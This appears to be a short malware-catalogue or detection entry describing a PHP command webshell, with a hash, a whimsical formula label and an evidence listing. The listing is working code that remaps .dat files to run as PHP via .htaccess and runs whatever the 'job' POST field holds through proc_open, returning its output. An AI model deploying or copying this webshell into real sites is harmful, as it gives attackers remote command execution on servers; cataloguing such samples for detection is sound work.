addhandler-console.php
Remote code execution webshell
Command webshell beside PHP data handlerRequest-controlled process returns its output
SHA-256e5ad6895441eedef741eb42b44a5ffa29454b78335353134fd315dbee7da559a
MaleculeO(C₂)H₃(Po₃Cm₂F)
Evidence
1<?php
2file_put_contents(__DIR__ . '/.htaccess', 'AddHandler application/x-httpd-php .dat\n');
3
4if (isset($_POST['job'])) {
5 $child = proc_open($_POST['job'], [0 => ['pipe', 'r'], 1 => ['pipe', 'w']], $handles);
6 echo stream_get_contents($handles[1]);
7 proc_close($child);
8}